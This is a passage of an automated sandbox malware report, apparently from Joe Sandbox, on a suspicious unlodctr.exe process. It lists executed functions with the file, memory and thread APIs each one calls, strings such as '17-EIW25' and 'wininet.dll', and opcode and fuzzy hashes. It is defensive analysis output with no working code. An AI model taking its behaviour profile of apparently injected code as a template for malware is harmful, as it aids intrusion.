Instruction Fuzzy Hash: D4811A71D002799BDB35DB58CD44BEAB7B4AF48754F0441EAEA19B7240E7709E84CFA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: unlodctr.exePID: 5776, Parent PID: 2800COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	4.2%
Signature Coverage:	1.5%
Total number of Nodes:	455
Total number of Limit Nodes:	72

Executed Functions

Function 02F9B7C0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 02F9B8A4
FindNextFileW.KERNELBASE(?,00000010), ref: 02F9B8DF
FindClose.KERNELBASE(?), ref: 02F9B8EA

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 3ac525bec754005048c8c70de7a893f905b061fb6cc602887673905fc0c9ae5a
Instruction ID: 671b04e6a066f48a3c2a6567e7444900ea63cc88574278f709aa46fdeac18735
Opcode Fuzzy Hash: 3ac525bec754005048c8c70de7a893f905b061fb6cc602887673905fc0c9ae5a
Instruction Fuzzy Hash: CB313271900208BBEB21EF60DC85FEF777DAF44748F144558FA08A6180DA70AA898FA1

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7660 Relevance: 1.6, APIs: 1, Instructions: 98filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 02FA7753

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a357b9bfd0bf587067a93d608951ab7e42d7a3dcedb2778201421089587f91aa
Instruction ID: 600f8cfc77f192a800a3594284830988bade09714d7e18d4802dabf76cfa99b6
Opcode Fuzzy Hash: a357b9bfd0bf587067a93d608951ab7e42d7a3dcedb2778201421089587f91aa
Instruction Fuzzy Hash: 4331C7B5A01209AFCB04DF98D881EDFB7F9AF8C354F108219FA18A3340D770A911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02FA77C0 Relevance: 1.6, APIs: 1, Instructions: 90filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 02FA7898

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4be259d8ca2f7e9bdfd9bd3e1444d8b650d8c1a907f752e2273361c98c42dee3
Instruction ID: a8367a118c9867973a7645a4d423e96591994c950f65c036d2e8d4817b67d073
Opcode Fuzzy Hash: 4be259d8ca2f7e9bdfd9bd3e1444d8b650d8c1a907f752e2273361c98c42dee3
Instruction Fuzzy Hash: 8031E8B5A01209AFCB14DF59DC91EEFB7B9EF8C354F108209FE18A7240D670A911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7A80 Relevance: 1.6, APIs: 1, Instructions: 78memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(02F912FE,?,02FA6707,00000000,00000004,00003000,?,?,?,?,?,02FA6707,02F912FE,00000000,?,02FA0151), ref: 02FA7B3A

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fc06f1ae3eba4d9b29957da64192523c76adbc03b76fccc49b6c26d1dada84e3
Instruction ID: 02865f8bad9aaf2e0a540a3f1484e345437edeea440043e3c4d68af85d90582f
Opcode Fuzzy Hash: fc06f1ae3eba4d9b29957da64192523c76adbc03b76fccc49b6c26d1dada84e3
Instruction Fuzzy Hash: BE212CB1A01209AFDB14DF58DC91EEFB7BEEF89750F104609FE18A7240D670A911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02FA78A0 Relevance: 1.6, APIs: 1, Instructions: 58filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(?), ref: 02FA7928

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 93d3d6f20716122ffc65e04576240baf71157a5487ccbda03925464e424cc89a
Instruction ID: 9d0e57ee1e8fce73756282d3769e36612697fbc3060fba25f55c441bab67dec3
Opcode Fuzzy Hash: 93d3d6f20716122ffc65e04576240baf71157a5487ccbda03925464e424cc89a
Instruction Fuzzy Hash: C401C071A412087FD610EB64DC52FEBBBADEF89790F104509FB589B280D6B07911CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7930 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 02FA7964

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 13f67380842c8342aca8c795ea337f9e11d93bcc0dcf5498b043424ac05aa072
Instruction ID: f25e2615f462e2856389dae418c5b98177d89e71a244cdfc3a5641a8e20894d8
Opcode Fuzzy Hash: 13f67380842c8342aca8c795ea337f9e11d93bcc0dcf5498b043424ac05aa072
Instruction Fuzzy Hash: 6DE08C766502047FC620FA59CC51FABBB6DEFCA7A0F104115FB08AB242C6B1B9018BF5

Uniqueness

Uniqueness Score: -1.00%

Function 03A24340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A2434A

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f37b60601faf41121e428c18f6cdd4092f3b83b4c46b66bb0ac8d55610b7ca0
Instruction ID: b497c409b39782c0c19cf7802a80b108871449dbb0253d0b113d08cc571181a2
Opcode Fuzzy Hash: 8f37b60601faf41121e428c18f6cdd4092f3b83b4c46b66bb0ac8d55610b7ca0
Instruction Fuzzy Hash: F8900231A05804129140B1584884546401997E1301B56C012F0428554C8B188A5A6371

Uniqueness

Uniqueness Score: -1.00%

Function 03A24650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A2465A

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: edb45978262d225a0c5d4b2aadedfd78e977c2aed279cd991bff93c32c6b5d65
Instruction ID: f66067b2182446210a61d9ed390abb43ef1cd689c684c7186d28ebad516ed9f8
Opcode Fuzzy Hash: edb45978262d225a0c5d4b2aadedfd78e977c2aed279cd991bff93c32c6b5d65
Instruction Fuzzy Hash: 39900261A01504424140B1584804406601997E2301396C116B0558560C871C8959A279

Uniqueness

Uniqueness Score: -1.00%

Function 03A22BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22BAA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 15f35391fcf561de47c55f622243b0d1f4bb1942c5d7345c8d7a88bad2c21294
Instruction ID: 24881a29ead5a13114bdf551a84035183a3f2acd90eddc38ed46b2c82a76fa7f
Opcode Fuzzy Hash: 15f35391fcf561de47c55f622243b0d1f4bb1942c5d7345c8d7a88bad2c21294
Instruction Fuzzy Hash: BE900231A0540C02D150B1584414746001987D1301F56C012B0028654D87598B5976B1

Uniqueness

Uniqueness Score: -1.00%

Function 03A22BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22BEA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f57e6e67560088ad8b3a3a5f99fca127875999f7363c03df0d7153c4acf4b87
Instruction ID: 7701bc1a3e215b71177663ae56287bae2a7922e2ba70ed54aac5bb21b7dbf978
Opcode Fuzzy Hash: 6f57e6e67560088ad8b3a3a5f99fca127875999f7363c03df0d7153c4acf4b87
Instruction Fuzzy Hash: C890023160544C42D140B1584404A46002987D1305F56C012B0068694D97298E59B671

Uniqueness

Uniqueness Score: -1.00%

Function 03A22BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22BFA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 05ac0543c306b2fec8b3c72c86b704cd1773f6d26f7f5636d0425003b9e62a2d
Instruction ID: 32dc9267c1cee1464dd8fbea7a557ad15c6917cc899b8f9eb6ce4719d1d9ac38
Opcode Fuzzy Hash: 05ac0543c306b2fec8b3c72c86b704cd1773f6d26f7f5636d0425003b9e62a2d
Instruction Fuzzy Hash: 2190023160140C02D180B158440464A001987D2301F96C016B0029654DCB198B5D77B1

Uniqueness

Uniqueness Score: -1.00%

Function 03A22B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22B6A

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 870353428f7de623ee15902dd136890b31be6e14333508a863d11f711c8103ba
Instruction ID: b5448d2f2b480e41a9d867b7de8c4df2d3990aa48037fed9707e442c153ce833
Opcode Fuzzy Hash: 870353428f7de623ee15902dd136890b31be6e14333508a863d11f711c8103ba
Instruction Fuzzy Hash: D4900261602404034105B1584414616401E87E1301B56C022F1018590DC62989957135

Uniqueness

Uniqueness Score: -1.00%

Function 03A22AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22AFA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dfb0aec2f8f902ed3a1a36a1c2f6e54efc5a375ab4716eaa8f80eb97c586743c
Instruction ID: 04d7cde4cc09291f46f515cd9db9b851eae8f948b928ba83208d9eeb6b41a77c
Opcode Fuzzy Hash: dfb0aec2f8f902ed3a1a36a1c2f6e54efc5a375ab4716eaa8f80eb97c586743c
Instruction Fuzzy Hash: 48900225621404020145F558060450B045997D7351396C016F141A590CC72589696331

Uniqueness

Uniqueness Score: -1.00%

Function 03A22AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22ADA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cde02195ba2b9caa32ccbc50cfe9319275be2da996f36db022eff64c2d0dbe5f
Instruction ID: 160b23867833ea9e9b2e9ae16dc475add611ac13b3cdecc0bd8e7719926032fb
Opcode Fuzzy Hash: cde02195ba2b9caa32ccbc50cfe9319275be2da996f36db022eff64c2d0dbe5f
Instruction Fuzzy Hash: F5900435711404030105F55C0704507005FC7D7351357C033F101D550CD735CD757131

Uniqueness

Uniqueness Score: -1.00%

Function 03A22FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22FBA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e7a6ca55d24d13ac8c2ea9d38a8510cb334aa5180638d1697469b847064a710a
Instruction ID: 5cb53d7a635adf5297e32449c69f67bcf1934c6cd8a0222a88a499e86e8862f2
Opcode Fuzzy Hash: e7a6ca55d24d13ac8c2ea9d38a8510cb334aa5180638d1697469b847064a710a
Instruction Fuzzy Hash: B7900221A01404424140B16888449064019ABE2311756C122B099C550D865D89696675

Uniqueness

Uniqueness Score: -1.00%

Function 03A22FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22FEA

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 656d6e4b79feb72d88094e07fa6d1bb43e1ab87f429e4b8c62b084c96abbbf7f
Instruction ID: dabff02c4a5b7c743aaa791b9724e0cc69becfe8d80e50b4a46a5121cdae732a
Opcode Fuzzy Hash: 656d6e4b79feb72d88094e07fa6d1bb43e1ab87f429e4b8c62b084c96abbbf7f
Instruction Fuzzy Hash: E3900221611C0442D200B5684C14B07001987D1303F56C116B0158554CCA1989656531

Uniqueness

Uniqueness Score: -1.00%

Function 03A22F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22F3A

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70c2f5741dd8e597bebea6a55a39ebd2ad9a69662b69c49bf4ebe3dfbed0b892
Instruction ID: f01cc42c3d3bf3d091d7b03e18c22b976e4862073b1111d282b2f8719dadb2a3
Opcode Fuzzy Hash: 70c2f5741dd8e597bebea6a55a39ebd2ad9a69662b69c49bf4ebe3dfbed0b892
Instruction Fuzzy Hash: 2E90026174140842D100B1584414B060019C7E2301F56C016F1068554D871DCD567136

Uniqueness

Uniqueness Score: -1.00%

Function 03A22E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03A22E8A

Memory Dump Source

Source File: 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 039B0000, based on PE: true

Associated: 0000000B.00000002.2874034277.0000000003AD9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003ADD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39b0000_unlodctr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6608f4fda7de311236960e6939e2def79b2bddfe2c64e76c433520b7a55c882
Instruction ID: d26e106fcbad2356c31381a478330caaa3917a322029464899d4129c7f16448d
Opcode Fuzzy Hash: f6608f4fda7de311236960e6939e2def79b2bddfe2c64e76c433520b7a55c882
Instruction Fuzzy Hash: CC900221A0140902D101B1584404616001E87D1341F96C023B1028555ECB298A96B131

Uniqueness

Uniqueness Score: -1.00%

Function 02F90292 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 02F90417

Strings

17-EIW25, xrefs: 02F9040C, 02F90416, 02F90427
17-EIW25, xrefs: 02F9041E, 02F90421

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: a368a6f341b2bb8064e567b321fc03bf5af01d8fcd8c036bc6c8b010158a65cf
Instruction ID: 8fa95a840ad7db872aff33ab1d6d3582758e5a1ef8b991c96efcf508c06825f0
Opcode Fuzzy Hash: a368a6f341b2bb8064e567b321fc03bf5af01d8fcd8c036bc6c8b010158a65cf
Instruction Fuzzy Hash: 9141CC75C45248ABEB11CFB8CC81AEFBF7DFF46390B20419DEA419B251E630490ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 02F902E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 02F90417

Strings

17-EIW25, xrefs: 02F9040C, 02F90416, 02F90427
17-EIW25, xrefs: 02F9041E, 02F90421

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: 3a3d2b51d59eac512b4f742f2bd618625eba93e8d5b7166fafc05a6e441027c1
Instruction ID: db78ac111980dcabfca62621a0d6df31737ff06300794597e1095e73a177825f
Opcode Fuzzy Hash: 3a3d2b51d59eac512b4f742f2bd618625eba93e8d5b7166fafc05a6e441027c1
Instruction Fuzzy Hash: 9021F1719492487BEF11D6688C81CEFBF6CFE462A0B10416DD7809B243FB3499068791

Uniqueness

Uniqueness Score: -1.00%

Function 02F90371 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 02F90417

Strings

17-EIW25, xrefs: 02F9040C, 02F90416, 02F90427
17-EIW25, xrefs: 02F9041E, 02F90421

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: 830446d4dfa4aa27a28cbc2a287b2fe0c8716e4f8b434f6de674cecd5f48fefe
Instruction ID: 5cb5b7e84fbc265d3643e9abb4104aadfe90afa1c8d6516c2d764e499c592fc3
Opcode Fuzzy Hash: 830446d4dfa4aa27a28cbc2a287b2fe0c8716e4f8b434f6de674cecd5f48fefe
Instruction Fuzzy Hash: 23110AB2E4064C7EEB119A989C81DFFBB6CDF416E4F1481A9EA04A7140D5255E068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F903A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 02F90417

Strings

17-EIW25, xrefs: 02F9040C, 02F90416, 02F90427
17-EIW25, xrefs: 02F9041E, 02F90421

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: 10e68e8f6afcde937580f899d8467038cf40390d40a205325039d87473c08a07
Instruction ID: d572a8710439361824c32e332854d2b47b2d7fb3215d852858e7b5028e2ccf07
Opcode Fuzzy Hash: 10e68e8f6afcde937580f899d8467038cf40390d40a205325039d87473c08a07
Instruction Fuzzy Hash: 5D0184B1D4011C7AEB10AAE59C81DEFBB7CDF417D4F048069FA14A7140D6655E068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 02FA24E0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02FA25AB

Strings

wininet.dll, xrefs: 02FA254E, 02FA255A
net.dll, xrefs: 02FA2577, 02FA25FA, 02FA25D2, 02FA25DE, 02FA2606

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: a4a1bd0c092922b0723e7842aebd360cdde460d006f75277cd41010344a263c1
Instruction ID: ec01a40d5ba48ffa25b8e1ed12b6b74d580fcc33ca98d508234add94df44c248
Opcode Fuzzy Hash: a4a1bd0c092922b0723e7842aebd360cdde460d006f75277cd41010344a263c1
Instruction Fuzzy Hash: 9A31ABB1A01704ABD714DF64CC90FE7BBA9BB88744F00862DAA1D9B240D7B0B644CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F93E1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02F93E12

Strings

SVW, xrefs: 02F93E26

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Load
String ID: SVW
API String ID: 2234796835-2287302526
Opcode ID: 40538c344131345b8efc4df9dc858fb5cb636a5732cb6c87dde8014c343e8cfb
Instruction ID: 9f44780b7b4175659211aec117433ad4295992e0a81ef288534ca66e9c014e20
Opcode Fuzzy Hash: 40538c344131345b8efc4df9dc858fb5cb636a5732cb6c87dde8014c343e8cfb
Instruction Fuzzy Hash: ACF054B9D04109BBEB10E6A8DC91EAEBB7C9B80648F1442A5F51856140E631EA198B91

Uniqueness

Uniqueness Score: -1.00%

Function 02F9E555 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02F9E577

Strings

@J7<, xrefs: 02F9E58B

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: e3891dfbf6a37d6c0fd284a1490ebcfc4f2a5d974ced53debdc66936f761f84c
Instruction ID: 9b42b3d41097e0a0f2ed07cc3a718cf6a910855693e9d0d85c3a03e279158934
Opcode Fuzzy Hash: e3891dfbf6a37d6c0fd284a1490ebcfc4f2a5d974ced53debdc66936f761f84c
Instruction Fuzzy Hash: 30313FB5A0020AAFDB00DF98D8809AEB7B9FF88344B108559E615EB204D775EE05CBA0

Uniqueness

Uniqueness Score: -1.00%

